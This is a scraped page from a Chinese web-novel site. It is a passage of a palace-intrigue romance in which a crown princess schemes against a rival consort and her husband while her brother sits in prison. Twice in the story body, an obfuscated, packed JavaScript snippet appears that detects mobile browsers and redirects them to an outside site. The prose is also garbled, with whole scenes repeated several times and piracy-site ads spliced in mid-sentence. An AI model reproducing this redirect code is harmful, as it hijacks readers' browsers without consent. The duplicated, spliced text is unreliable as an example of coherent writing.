“太子妃恕罪。昨晚妾身侍寝,殿下太过怜惜妾身,半夜才消停。妾身实在不中用,所以才误了时辰。”苏灵音的声音越来越小,面露娇羞。 她的话露骨孟浪,让在座的女人都红了面。 魏娴的眼中划过不屑跟无奈。 众夫人的眼中流露出嫉妒与艳羡。 云清婳的黛眉挑起,她的心头盘旋着大大的疑问。 苏灵音面颊潮红,腰肢酸软,双腿乏力,这种状态绝对不是演的。 但如果苏灵音昨晚侍寝了,还纵情到了半夜,那么昨晚爬上她的床榻的人是谁? 云清婳的脑袋乱糟糟的。 总不可能是裴墨染半夜趁她睡着后,又摸去了苏灵音的寝殿临幸她吧? 狗男人应该不至于这么无聊。 苏灵音捕捉到云清婳脸上凝滞的表情,抿了口脂的唇勾起。 很心 痛吧? 很嫉妒吧? 云清婳 宠幸她可是皇上的旨意裴墨染不得不从。 “侍候殿下是妹妹的本分我怎会怪罪?快坐吧。”云清婳宽厚地摆摆手。 苏灵音毫不遮掩眼中的得意都快溢出来“是。” 云清婳分发了月钱训诫了几个**的夫人又给侍寝的夫人请了平安脉便让众人退下。 “主子这是怎么回事啊?殿下昨晚不是来了吗?闹不成闹鬼了?”飞霜有些恍惚她揉揉后脑勺又不太确定。 昨晚她迷迷糊糊间好像看见了殿下可今早天未亮殿下又不见了。 云清婳的眼中闪过精光她的笑容残忍“我心中有个猜测倘若是真的裴墨染挺狠的。” “啊?”飞霜歪着脑袋。 她没有回答。 …… 接下来的几日裴墨染时不时点名去清心阁。 可夜半裴墨染总会出现在云清婳地榻上对她予取予夺。 一个大胆的猜测骤然出现在她的脑海中。 裴墨染不会找了个“奸夫”绿自己吧? 这也太变态了! 但既然裴墨染不肯说她自然也不能问否则就显得她心机深重。 裴墨染的汗落在她的脸上他的声音嘶哑:“蛮蛮你怎么不用心?” “唔……我没……” “小骗子!”随之而来的是男人**般的摧残、掠夺。 云清婳如同暴雨夜的小花忍受着侵袭险些昏厥。 在最后一刻男人的气息吐纳在她的耳畔“答应父皇的我已经做到了日后不必去清心阁了。” 她的脑袋早成了浆糊来不及思考他的话。 …… 午后云清婳带着承基、辞忧在花园晒太阳。 她收到亲信的信笺。 她打开一看瞳孔地震手都颤了起来“……” 飞霜最先看出她的不对快步跑来“主子怎么了?你的脸色好难看啊。” “二哥被下狱了。”她的声音发干发涩。 “二舅!”辞忧捕捉到娘亲话里的字眼机灵地反应过来。 承基也道: “二舅! 云清婳的眼尾泛着淡淡的薄红。 这是被气的! 飞霜从她的手里接过字条,垂眸一看,一滴泪坠了出来,“二公子打**……苏灵音的二哥苏盛。 苏盛让云清婳印象深刻。 万寿节那天,捉奸前,就属苏盛跳的最欢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186509|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他甚至指桑骂槐地攻击她,说要把她吊起来打死。 “嗯。云清婳感到一阵天旋地转,耳边都是嗡鸣声。 一时之间,头顶上的凉亭仿佛都在旋转,她不知道自己置身于何处。 她不是好人,生性凉薄,对人没有什么感情。 但她是胎穿来到这个小说世界的,云家人对她关怀备至,把她视若珍宝,跟他们在一起让她很快乐,她不愿意失去他们。 “主子很担心云二公子吧?放心,云二公子虽然不拘小节,但粗中有细,肯定事出有因。有相爷在,不会出事的。飞霜拍抚着云清婳的背脊,给她顺气。 “嗯!走一步,看一步吧。云清婳的眼中酝酿着一场暴风雨。 云家家规森严,她不相信云褚会这般大胆,居然敢当街**! 很快,何心意与几位妯娌前来拜谒。 魏娴、陈如燕等人也都来安慰她。 而清心阁那边也传来风声,苏灵音哭得肝肠寸断,身着素衣,想要悼念亡兄。 云清婳送客后,她攥着帕子,心里惴惴不安。 因为事情超脱她的掌控了。 她本可以不在乎云褚的死活…… 但她做不到,因为自胎穿来大昭,全家中最宠爱她的人就是云褚。 把她抱大的人也是云褚。 若是云褚**,她会不快乐的。 这或许就是姐姐所说的亲情、手足情吧。 “苏灵音真是不长记性,为什么她总想着残害云家人呢?云清婳冷不丁笑了。 飞霜不寒而栗,她鸡皮疙瘩都起来了,“主子,您千万别忧心,等殿下回来了,不如问问殿下?云家帮了殿下不少,殿下肯定是向着您,向着云家的。 她的眸潋滟流转,无奈地看着飞霜,“小飞霜,你单纯了! 云家的“恩情跟皇位相比,算得了什么? 裴墨染一定会以大局为重。 玄音阁的灯亮到了子时,可裴墨染一个月都没有回东宫。 云清婳毫不奇怪。 每次都是这样。 她需要裴墨染的时候,他永远都不在。 云清婳暗中给裴云澈去了信,可听说裴云澈离京了,不再京城。 最终,她去见了谢泽修。 云清婳名下的茶楼中,二人临窗而坐。 谢泽修的瞳仁呈琥珀色,心疼地看着她,“蛮蛮,你瘦了。 第290章 说真心话,被裴墨染撞见 “这些日子因为二哥的事,我茶饭不思,寝食难安,难免消瘦了些。她抿了口茶水,强行挤出了惨白的笑。 他的浓眉紧锁,声音让人莫名感到安心,“蛮蛮,放心吧!我跟云丞相一直在为云褚奔走。此事不怪他,苏盛当街非礼良家妇女,别说云褚,就算是我也绝不会坐视不理! 云清婳扯出一抹讥诮的笑,“可惜,二哥中计了!那女子早就跟苏家串通一气,不仅不感谢他,还怪二哥多管闲事,说他们只是在打情骂俏。 谢泽修义愤填膺,他的手缓缓攥成了拳,“苏家抬着棺材天天在相府门口哭闹,朝中几乎无人敢跟云家来往。 她露出蔑笑,“这是苏灵音对我的报复! “蛮蛮,莫要忧心,交给我吧。谢泽修看着她的眼神,沉声说。 云清婳与他对视,虚浮的心稍稍有了落脚点,“苏盛**就**,本不是大事,可坏就坏在他的外祖父立了大功,不能寒了功臣的心啊。 他的面色愈发凝重,“陛下将此事交由太子定夺,陛下的意思是大事化小。 云清婳并不惊讶。 **一个人而已,对上位者而言就如同**一只蚂蚁。 皇上将此事交由裴墨染决断,也就是把国事变成家事。 一边是她,一边是苏灵音。 看裴墨染怎么取舍,怎么端水。 云清婳颔首,“多谢表哥提醒,我知道了。 谢泽修离开后,她又亲自会见了段南天。 段南天一进门就噼里啪啦地鼓起掌来,“云二公子行侠仗义,当街救下女子,实乃吾辈楷模!百姓都在赞扬云二公子侠肝义胆。 “你就别打趣了!二哥的小命都快保不住了。云清婳叹了口气。 段南天的面色一黑,“大不了我就劫法场! 她不认可地瞥了他一眼,给段南天安排了新的任务。 这件事绝对没这么简单! 此事有许多疑点,就好像是苏家笃定我们一定会中计! 一气呵成! “知道了,等我的消息吧!此事道上的兄弟都会帮忙!段南天信誓旦旦地说。 云清婳颔首。 所以啊,她绝对不能交付真心。 谢泽修、段南天都比狗男人靠得住! …… 一回东宫,云清婳迎面就撞上了穿着一身素衣的苏灵音。 她身形瘦削,面色惨白,活脱脱像个女鬼。 她的双眼肿成了一对桃子,刻毒地瞪着云清婳,“苏家家破人亡,你满意了?云褚本就厌恶我二哥,没成想居然当街行凶!现在好了,你们云家也会折损一个男丁!” 说着,苏灵音的眼中透着隐隐的兴奋。 云清婳平静地看着她,“真相自在人心,事实究竟如何,你心里清楚。” “少装了!恐怕你为了云褚也茶饭不思吧?这就是你的报应!云褚必死!我外祖父快回京了!姑母也不会善罢甘休!”苏灵音瞪圆了眼珠子,表情癫狂。 云清婳的唇瓣抿着。 苏灵音又道:“这些日子,殿下没有回府吧?但殿下怜惜我,日日给我送珍宝、补品!云清婳,你真可悲,你二哥下狱,危在旦夕,可身为主审官的殿下却对你避而不见!” 她故意剜云清婳的心。 “你为殿下挡过刀,流过一个孩子,难产生下两个孩子,听说还跳过崖,在蜀地地动时还以身相护……可是如何呢?大难临头,他反而关心起了我!呵……”苏灵音眉飞色舞,脸上出现了几分柔软。 裴墨染走到拱圈门时,苏灵音的话一字不落地钻入他的耳朵。 他的心口发痛,怔怔地看着云清婳,却不敢上前。 他自惭形秽,无脸见蛮蛮。 王显的眼眶湿润,同情地看着云清婳。 “……”云清婳看着她,冷不丁笑了。 果然啊,只有对手最懂对手。 她的处心积虑、苦难,苏灵音最懂。 “云清婳,你好可怜啊!殿下对我十分虚情假意,可对你有十分真情吗?你恨我,可殿下还不是宠幸了我好几夜?”苏灵音刺激道。 裴墨染恨不得冲上去,甩苏灵音耳光! 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 她怎敢挑拨离间他跟蛮蛮? 在这世上,她最重要的人便是蛮蛮,他爱她! 云清婳的眼眸毫无波澜,云淡风轻地说:“你错了,我不可怜,因为我不喜欢裴墨染,我不在乎他!” 裴墨染的心像是被捅进了一把**,他气闷不已,一 口气险些没提上来。 “呵……”苏灵音穿过云清婳,眼神射向她的身后,“是吗?殿下听见了吗?” 云清婳诧异地挑眉。 她一扭身,便看见了脸色发绿的裴墨染。 显然,方才的话,他全都听见了。 云清婳却毫不惊慌,冷瞥了他一眼,转身就走。 “蛮蛮、蛮蛮……”裴墨染着急地追上去。 苏灵音忍不住道:“殿下,太子妃都说出心里话了,您还要自欺欺人吗?” “滚开!”裴墨染怒吼一声,绕过她,连忙去追云清婳。 苏灵音太恶心了,他打她都嫌脏了手。 “殿下,殿下……”苏灵音泪流满面,像是受到了奇耻大辱。 裴墨染是疯了吗? 为什么云清婳都说出心里话了,他还执迷不悟? 他明明很自私,他明明没那么喜欢云清婳……这一定是为了云家! 对,一定是这样! …… 云清婳丝毫不担心方才的话。 因为她训狗已经很成功了,裴墨染绝对会自我攻略、自我安慰。 裴墨染几乎快要跑起来。 王显跟在后面追,他连忙道:“殿下,莫要听苏灵音胡说,太子妃对您的心天地可鉴,太子妃只是太难过了,才逞了一时口舌之快。” “用得着你说?”裴墨染怒斥。 蛮蛮为他所做的一切,他都记在心里。 若是他真信了蛮蛮的气话,他就是个傻子,他就配不上这么好的蛮蛮! 到了玄音阁,云清婳正坐在贵妃榻上黯然神伤。 两个孩子一左一右地站在榻上,用肉嘟嘟的小手给她擦眼泪。 承基噘着嘴,“娘亲,不哭……” “娘亲不哭了,给你吃糕糕。”辞忧从小兜里掏出了一块桂花糕。 看到两个孩子,云清婳的心逐渐安稳下来。 这是她最后的底牌! “蛮蛮。”他的双眼润泽,心疼的唤了一声。 “他是谁?”承基问。 辞忧挠挠后脑勺,“唔……叔叔。” 裴墨染的心骤然紧缩,像被狠狠揪着。 云清婳暗爽! 狗男人一个月没来,孩子不记得你也是活该。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 口气险些没提上来。 “呵……苏灵音穿过云清婳,眼神射向她的身后,“是吗?殿下听见了吗? 云清婳诧异地挑眉。 她一扭身,便看见了脸色发绿的裴墨染。 显然,方才的话,他全都听见了。 云清婳却毫不惊慌,冷瞥了他一眼,转身就走。 “蛮蛮、蛮蛮……裴墨染着急地追上去。 苏灵音忍不住道:“殿下,太子妃都说出心里话了,您还要自欺欺人吗? “滚开!裴墨染怒吼一声,绕过她,连忙去追云清婳。 苏灵音太恶心了,他打她都嫌脏了手。 “殿下,殿下…… 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节)苏灵音泪流满面,像是受到了奇耻大辱。 裴墨染是疯了吗? 为什么云清婳都说出心里话了,他还执迷不悟? 他明明很自私,他明明没那么喜欢云清婳……这一定是为了云家! 对,一定是这样! …… 云清婳丝毫不担心方才的话。 因为她训狗已经很成功了,裴墨染绝对会自我攻略、自我安慰。 裴墨染几乎快要跑起来。 王显跟在后面追,他连忙道:“殿下,莫要听苏灵音胡说,太子妃对您的心天地可鉴,太子妃只是太难过了,才逞了一时口舌之快。 “用得着你说?裴墨染怒斥。 蛮蛮为他所做的一切,他都记在心里。 若是他真信了蛮蛮的气话,他就是个傻子,他就配不上这么好的蛮蛮! 到了玄音阁,云清婳正坐在贵妃榻上黯然神伤。 两个孩子一左一右地站在榻上,用肉嘟嘟的小手给她擦眼泪。 承基噘着嘴,“娘亲,不哭…… “娘亲不哭了,给你吃糕糕。辞忧从小兜里掏出了一块桂花糕。 看到两个孩子,云清婳的心逐渐安稳下来。 这是她最后的底牌! “蛮蛮。他的双眼润泽,心疼的唤了一声。 “他是谁?承基问。 辞忧挠挠后脑勺,“唔……叔叔。 裴墨染的心骤然紧缩,像被狠狠揪着。 云清婳暗爽! 狗男人一个月没来,孩子不记得你也是活该。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 口气险些没提上来。 “呵…… 云清婳诧异地挑眉。 她一扭身,便看见了脸色发绿的裴墨染。 显然,方才的话,他全都听见了。 云清婳却毫不惊慌,冷瞥了他一眼,转身就走。 “蛮蛮、蛮蛮……裴墨染着急地追上去。 苏灵音忍不住道:“殿下,太子妃都说出心里话了,您还要自欺欺人吗? “滚开!裴墨染怒吼一声,绕过她,连忙去追云清婳。 苏灵音太恶心了,他打她都嫌脏了手。 “殿下,殿下……苏灵音泪流满面,像是受到了奇耻大辱。 裴墨染是疯了吗? 为什么云清婳都说出心里话了,他还执迷不悟? 他明明很自私,他明明没那么喜欢云清婳……这一定是为了云家! 对,一定是这样! …… 云清婳丝毫不担心方才的话。 因为她训狗已经很成功了,裴墨染绝对会自我攻略、自我安慰。 裴墨染几乎快要跑起来。 王显跟在后面追,他连忙道:“殿下,莫要听苏灵音胡说,太子妃对您的心天地可鉴,太子妃只是太难过了,才逞了一时口舌之快。 “用得着你说?裴墨染怒斥。 蛮蛮为他所做的一切,他都记在心里。 若是他真信了蛮蛮的气话,他就是个傻子,他就配不上这么好的蛮蛮! 到了玄音阁,云清婳正坐在贵妃榻上黯然神伤。 两个孩子一左一右地站在榻上,用肉嘟嘟的小手给她擦眼泪。 承基噘着嘴,“娘亲,不哭…… “娘亲不哭了,给你吃糕糕。辞忧从小兜里掏出了一块桂花糕。 看到两个孩子,云清婳的心逐渐安稳下来。 这是她最后的底牌! “蛮蛮。他的双眼润泽,心疼的唤了一声。 “他是谁?承基问。 辞忧挠挠后脑勺,“唔……叔叔。 裴墨染的心骤然紧缩,像被狠狠揪着。 云清婳暗爽! 狗男人一个月没来,孩子不记得你也是活该。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 口气险些没提上来。 “呵……”苏灵音穿过云清婳,眼神射向她的身后,“是吗?殿下听见了吗?” 云清婳诧异地挑眉。 她一扭身,便看见了脸色发绿的裴墨染。 显然,方才的话,他全都听见了。 云清婳却毫不惊慌,冷瞥了他一眼,转身就走。 “蛮蛮、蛮蛮……”裴墨染着急地追上去。 苏灵音忍不住道:“殿下,太子妃都说出心里话了,您还要自欺欺人吗?” “滚开!”裴墨染怒吼一声,绕过她,连忙去追云清婳。 苏灵音太恶心了,他打她都嫌脏了手。 “殿下,殿下……”苏灵音泪流满面,像是受到了奇耻大辱。 裴墨染是疯了吗? 为什么云清婳都说出心里话了,他还执迷不悟? 他明明很自私,他明明没那么喜欢云清婳……这一定是为了云家! 对,一定是这样! …… 云清婳丝毫不担心方才的话。 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$(''#content'').append('' 来。 “呵……”苏灵音穿过云清婳,眼神射向她的身后,“是吗?殿下听见了吗?” 云清婳诧异地挑眉。 她一扭身,便看见了脸色发绿的裴墨染。 显然,方才的话,他全都听见了。 云清婳却毫不惊慌,冷瞥了他一眼,转身就走。 “蛮蛮、蛮蛮……”裴墨染着急地追上去。 苏灵音忍不住道:“殿下,太子妃都说出心里话了,您还要自欺欺人吗?” “滚开!”裴墨染怒吼一声,绕过她,连忙去追云清婳。 苏灵音太恶心了,他打她都嫌脏了手。 “殿下,殿下……”苏灵音泪流满面,像是受到了奇耻大辱。 裴墨染是疯了吗? 为什么云清婳都说出心里话了,他还执迷不悟? 他明明很自私,他明明没那么喜欢云清婳……这一定是为了云家! 对,一定是这样! …… 云清婳丝毫不担心方才的话。 因为她训狗已经很成功了,裴墨染绝对会自我攻略、自我安慰。 裴墨染几乎快要跑起来。 王显跟在后面追,他连忙道:“殿下,莫要听苏灵音胡说,太子妃对您的心天地可鉴,太子妃只是太难过了,才逞了一时口舌之快。” “用得着你说?”裴墨染怒斥。 蛮蛮为他所做的一切,他都记在心里。 若是他真信了蛮蛮的气话,他就是个傻子,他就配不上这么好的蛮蛮! 到了玄音阁,云清婳正坐在贵妃榻上黯然神伤。 两个孩子一左一右地站在榻上,用肉嘟嘟的小手给她擦眼泪。 承基噘着嘴,“娘亲,不哭……” “娘亲不哭了,给你吃糕糕。”辞忧从小兜里掏出了一块桂花糕。 看到两个孩子,云清婳的心逐渐安稳下来。 这是她最后的底牌! “蛮蛮。”他的双眼润泽,心疼的唤了一声。 “他是谁?”承基问。 辞忧挠挠后脑勺,“唔……叔叔。” 裴墨染的心骤然紧缩,像被狠狠揪着。 云清婳暗爽! 狗男人一个月没来,孩子不记得你也是活该。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 口气险些没提上来。 “呵……”苏灵音穿过云清婳眼神射向她的身后“是吗?殿下听见了吗?” 云清婳诧异地挑眉。 她一扭身便看见了脸色发绿的裴墨染。 显然方才的话他全都听见了。 云清婳却毫不惊慌冷瞥了他一眼转身就走。 “蛮蛮、蛮蛮……”裴墨染着急地追上去。 苏灵音忍不住道:“殿下太子妃都说出心里话了您还要自欺欺人吗?” “滚开!”裴墨染怒吼一声绕过她连忙去追云清婳。 苏灵音太恶心了他打她都嫌脏了手。 “殿下殿下……”苏灵音泪流满面像是受到了奇耻大辱。 裴墨染是疯了吗? 为什么云清婳都说出心里话了 小说更新,记住域名caixs.com▊(请来才 小说 看最新章节 完整章节)他还执迷不悟? 他明明很自私他明明没那么喜欢云清婳……这一定是为了云家! 对一定是这样! …… 云清婳丝毫不担心方才的话。 因为她训狗已经很成功了裴墨染绝对会自我攻略、自我安慰。 裴墨染几乎快要跑起来。 王显跟在后面追他连忙道:“殿下莫要听苏灵音胡说太子妃对您的心天地可鉴太子妃只是太难过了才逞了一时口舌之快。” “用得着你说?”裴墨染怒斥。 蛮蛮为他所做的一切他都记在心里。 若是他真信了蛮蛮的气话他就是个傻子他就配不上这么好的蛮蛮! 到了玄音阁云清婳正坐在贵妃榻上黯然神伤。 两个孩子一左一右地站在榻上用肉嘟嘟的小手给她擦眼泪。 承基噘着嘴“娘亲不哭……” “娘亲不哭了给你吃糕糕。”辞忧从小兜里掏出了一块桂花糕。 看到两个孩子云清婳的心逐渐安稳下来。 这是她最后的底牌! “蛮蛮。”他的双眼润泽心疼的唤了一声。 “他是谁?”承基问。 辞忧挠挠后脑勺“唔……叔叔。” 裴墨染的心骤然紧缩像被狠狠揪着。 云清婳暗爽! 狗男人一个月没来孩子不记得你也是活该。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 口气险些没提上来。 “呵……苏灵音穿过云清婳,眼神射向她的身后,“是吗?殿下听见了吗? 云清婳诧异地挑眉。 她一扭身,便看见了脸色发绿的裴墨染。 显然,方才的话,他全都听见了。 云清婳却毫不惊慌,冷瞥了他一眼,转身就走。 “蛮蛮、蛮蛮……裴墨染着急地追上去。 苏灵音忍不住道:“殿下,太子妃都说出心里话了,您还要自欺欺人吗? “滚开!裴墨染怒吼一声,绕过她,连忙去追云清婳。 苏灵音太恶心了,他打她都嫌脏了手。 “殿下,殿下……苏灵音泪流满面,像是受到了奇耻大辱。 裴墨染是疯了吗? 为什么云清婳都说出心里话了,他还执迷不悟? 他明明很自私,他明明没那么喜欢云清婳……这一定是为了云家! 对,一定是这样! …… 云清婳丝毫不担心方才的话。 因为她训狗已经很成功了,裴墨染绝对会自我攻略、自我安慰。 裴墨染几乎快要跑起来。 王显跟在后面追,他连忙道:“殿下,莫要听苏灵音胡说,太子妃对您的心天地可鉴,太子妃只是太难过了,才逞了一时口舌之快。 “用得着你说?裴墨染怒斥。 蛮蛮为他所做的一切,他都记在心里。 若是他真信了蛮蛮的气话,他就是个傻子,他就配不上这么好的蛮蛮! 到了玄音阁,云清婳正坐在贵妃榻上黯然神伤。 两个孩子一左一右地站在榻上,用肉嘟嘟的小手给她擦眼泪。 承基噘着嘴,“娘亲,不哭…… “娘亲不哭了,给你吃糕糕。辞忧从小兜里掏出了一块桂花糕。 看到两个孩子,云清婳的心逐渐安稳下来。 这是她最后的底牌! “蛮蛮。他的双眼润泽,心疼的唤了一声。 “他是谁?承基问。 辞忧挠挠后脑勺,“唔……叔叔。 裴墨染的心骤然紧缩,像被狠狠揪着。 云清婳暗爽! 狗男人一个月没来,孩子不记得你也是活该。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第291章 云清婳被气晕 “我是爹啊,辞忧、承基,你们忘了爹爹吗?”裴墨染快步上前,他俯下身,看着他们。 二人的脸上皆是茫然。 云清婳示意婢女将孩子抱走,轻柔道:“孩子太久没见夫君,把你忘了。” 这话像是一巴掌,狠狠甩在裴墨染的脸上。 心脏更痛了。 他单膝蹲下身,小心翼翼地牵着云清婳的手,贴在脸颊上,“蛮蛮,你别听苏灵音胡说,你为我所做的一切,我都放在心上,我对你怎会不是真心?” 云清婳带着哭腔,“夫君,方才我说的话……” 他连忙打断她的话,“我知道,那只是为了气苏灵音的气话,蛮蛮爱我。” 瞧! 她根本不用出力。 狗男人果然会帮她圆。 裴墨染吐出一口浊气,正色道:“蛮蛮,你都知道了吧?我也想救二哥,我知道二哥中了苏家的计,他是在打抱不平。这些日子我都在探查真相,想要找到蛛丝马迹,证明二哥的清白。” “可是现有的证据对二哥不利,我作为主审官我没法偏私,我没脸见你……明明我已经是太子了,可护着妻子的娘家人都做不到。” 真的没法偏私吗? 只是不想付出代价罢了。 裴墨染,这世上你在乎谁呢? 你只在乎你自己! 恐怕就算是承基、辞忧落得如此境地,你也说不敢偏私吧? 云清婳的眼眸像是结了冰,没有温度,她哽咽道:“夫君,蛮蛮都懂,蛮蛮不会逼你,凡事以大局为重。” 裴墨染看着他,眼中闪过诧异、心疼。 无形的愧疚像一座大山,几乎要将他压垮。 倘若蛮蛮提出要求,一哭二闹三上吊逼他徇私,他反而可以正义凛然地拒绝。 可蛮蛮这么懂事,为了他宁愿放弃家人,让他难受得快要窒息了! 他不是好人,可他不愿当一个混蛋! 特别是在蛮蛮面前! 她用手揩去眼角的泪,她俯下身,抱着他的肩膀,“夫君回家就好,这段日子,我好想夫君!” 他羞愧难当! “蛮蛮,我不是一个称职的夫君,我对不住你。但我可以发誓,二哥不会有性命之忧!”他 的声音干涩发颤。 “嘘……” 她吸吸鼻子“不许说了!我不希望我的家人成为你的阻碍。过门后我仅仅是你的妻子!我不能这么自私。” 裴墨染的心好像都被撕裂。 云褚对蛮蛮有多重要他是清楚的。 当初蛮蛮答应跟他圆房也正是因为他救了云褚。 “……”他看着她眼底发烫。 云清婳僵硬的起身挤出不由衷的笑“夫君用膳了吗?我命人备一些吧。” 裴墨染担忧地看着她她分明是把悲伤、惊恐全都压在心下。 “我不饿你瞧你都瘦了。”他道。 云清婳双腿瘫软眼前一片黑身子向后倒去。 “蛮蛮!”裴墨染眼疾手快将她打横抱起。 飞霜急哭了“主子这是忧思过度啊!” 裴墨染心如火烧。 都怪他他怎么可以躲避蛮蛮? …… 府医给云清婳把过脉后长叹一声“回禀殿下太子妃这是忧思过度郁结于胸想必这些日子太子妃彻夜难眠啊长此以往定会伤及肝胆。” 裴墨染蹙眉“快去开药务必要养好太子妃的身子!” “非也!”府医捋着胡子“殿下心病还得心药医啊若是久久不愈恐怕不仅会呕血甚至油尽灯枯啊。” 裴墨染被吓到了心头肉好像被人生生剜了去。 六神无主! 过了好半天他才回过神他摆摆手示意府医退下。 裴墨染拧了把帕子轻轻给云清婳擦拭着额上的汗“太子妃这些日子吃睡不好?” “主子吃不下睡不着除了等着您就是躲在被褥哭。”飞霜泫然欲泣道。 裴墨染的剑眉紧锁。 “二哥、二哥……”云清婳的嘴里含糊不清两行清泪从眼角坠下“对不起、对不起……” 飞霜适时跟着哭了。 主子的演技简直出神入化啊。 “蛮蛮有我在别担心。”他握住她的手。 云清婳猛然睁开眼 “蛮蛮你昏迷了府医说你忧思过重郁结于胸 。”他给她掖了掖被角“我知道你担心二哥放心吧二哥绝不会有性命之忧我保证。” 他说得信誓旦旦好像许下了千金一诺。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴墨染:你不如跟我吵一架 裴墨染去了清心阁后,苏灵音借着肚中的孩子卖了惨。 她话里话外都暗示——想让云褚受到惩罚。 裴墨染自然不答应。 他顾左右而言其他,劝苏灵音宽宏大量,大事化小。 苏灵音的眼中流露出怨毒跟不甘。 …… 另一边,玄音阁。 飞霜跺跺脚,“真是巧啊,早不怀孕,晚不怀孕,偏生这个时候怀孕!殿下念着孩子,说不定又会动摇。” 云清婳从榻上灵活地坐起身,她从榻前的矮几上拿了块芙蓉糕吃,“这孩子,恐怕不是裴墨染的!” “啊?”飞霜张圆了嘴。 她颔首,眼神坚定,“裴墨染方才的反应不对,他高兴却又不是为人父的高兴!笑中暗藏杀机!” 飞霜觉得惊世骇俗,瞠目结舌,“可,可他好歹也是太子,这岂不是自己给自己戴绿帽?他怎么想的啊?” 云清婳分析:“皇后把苏灵音送来,想要辖制裴墨染,甚至妄想苏灵音延续苏家的荣耀,成为下一个皇后。但裴墨染岂愿意受制于苏家?所以他把苏灵音变成了攻击苏家的武器!” 偷人的苏侧妃,混淆皇室血脉! 此事若是闹大,皇后还有脸母仪天下?苏家还抬得起头? “啧啧,最毒男人心,殿下的手段真狠啊。”飞霜打趣道。 云清婳的嘴角掀起讥诮。 没办法,她不是姐姐,没法给裴墨染用真正的爱温暖他,更没法给他正面引导。 她在裴墨染身边,裴墨染注定成为不了原著里面伟光正的男主。 他们只能是恶龙黑凤! “若换作姐姐,她一定会阻止裴墨染。不对,若是姐姐在,裴墨染绝不会变得这么自私。”她玩味地说。 飞霜摇摇头,“主子,您千万别这么说自己,您跟谢小姐一样,都是很好的女子。” “小飞霜也是!”她笑道。 “嘿嘿,那是自然!”飞霜骄傲地扬起脖子,脸颊却映出了淡粉。 就在这时,魏娴来了。 她听见云清婳的说笑声,缓缓舒了口气,“我就知道蛮蛮不会出事。” “装病只是拿捏裴墨染的手段罢了,谁想到苏灵音怀孕了。”云清婳略 带讽刺地说。 魏娴的柳叶细眉拧了拧。 “殿下怎么这么不小心?他明明这样讨厌苏灵音,为了顾全大局临幸她也就罢了,怎么能让她怀孕呢?现在好了,苏家有底气蹦跶了。她的眼中溢出幽怨。 云清婳暂时并不想透露苏灵音腹中胎儿的真相。 正所谓事以密成。 此事绝不能出一点纰漏! 魏娴忧心地看着她,“蛮蛮,二公子的事怎么样了?爹爹在诏狱说得上话,我已经求爹爹关照了。 “多谢阿娴,关键时刻,姐妹果然比男人靠得住。云清婳目露感激。 “跟我说什么谢?我们二人谁帮了谁,早就算不清了。魏娴用帕子擦去她脖颈上的汗珠,“蛮蛮,我有个蠢法子,倘若事情真的不可挽回,或许可以让皇孙求求情? 云清婳严肃地摇头,“阿娴,万万不可!这是自寻死路,我不能赌!二哥的事,我已经有头绪了。 魏娴讪讪一笑,“是我糊涂了。 …… 魏娴在黄昏时分才回到落霞斋。 一回院落,她便看见站在夕阳余晖中的苏灵音。 苏灵音转过身,娇俏的脸蛋上笑容浮于表面,“魏侧妃去关怀太子妃了?只是,你待在玄音阁这么久,太子妃装病岂不是露馅了? 魏娴面无波澜,“我听不懂你在说什么。 “不懂没关系!苏灵音走近几步,脸上绽放出更灿烂的笑,“方才我去看了承宁,小小的,真可爱。 魏娴的心咯噔一响,脸色瞬间惨白,她快步跑向承宁的寝房。 好在承宁好好的,正在奶娘的怀中吃奶。 “你究竟想做什么?魏娴眼神发狠,她攥着苏灵音的手腕,将她拖去了角落。 “苏灵音,你胆敢动承宁一根手指头,我便要你的命!我说到做到!她双眼充血,目眦欲裂。 苏灵音挣扎着收回手,“魏娴,你这么在乎孩子,那你有没有想过承宁的将来?你甘心让承宁做一个无名小卒?屈居人下? 你为云清婳当牛做马,她给你什么了?不如跟着我,我发誓,倘若我得势,将来一定让殿下封赏承宁为王爷,赐他最富庶的封地! “……魏娴警惕地看着她 。 她接着道:“我不逼你你自己想清楚!当母亲的不为孩子争孩子将来一定会怪你的。” 说着苏灵音毫不留恋地走了。 魏娴目光灼灼地盯着她的背影。 巧慧跟在苏灵音身后。 出了大门后巧慧担忧地说:“主子魏娴跟云清亲得跟姊妹俩似的!倘若魏娴把您方才的话告诉云清婳了怎么办?” “呵呵……”苏灵音轻笑“你以为我真想要魏娴?我呸!我才瞧不上一个卑贱的庶女。” 巧慧恍然大悟“主子是想挑拨离间云清婳跟魏娴!让云清婳心生嫌隙怀疑魏娴投靠了您。” “没错!我就是要膈应死云清婳!谁让云家欺人太甚害死我二哥!”苏灵音的眼神刻毒恨不得扒了云清婳的皮吸干他的血。 …… 夜半玄音阁灯火通明。 榻上裴墨染轻拍着云清婳的背脊心疼道:“蛮蛮你莫要忧心我一直派人照料二哥二哥好好的。你若不信我明日带你去诏狱看他。” 她卷翘浓密的眼睫垂下哀声道:“诏狱苦寒不见天日再好能有多好?” 裴墨染语塞。 “你准备些吃食跟衣物明日给二哥送去怎么样?”他揉揉她的脸蛋想让她开心点。 她恹恹道:“多谢夫君。” 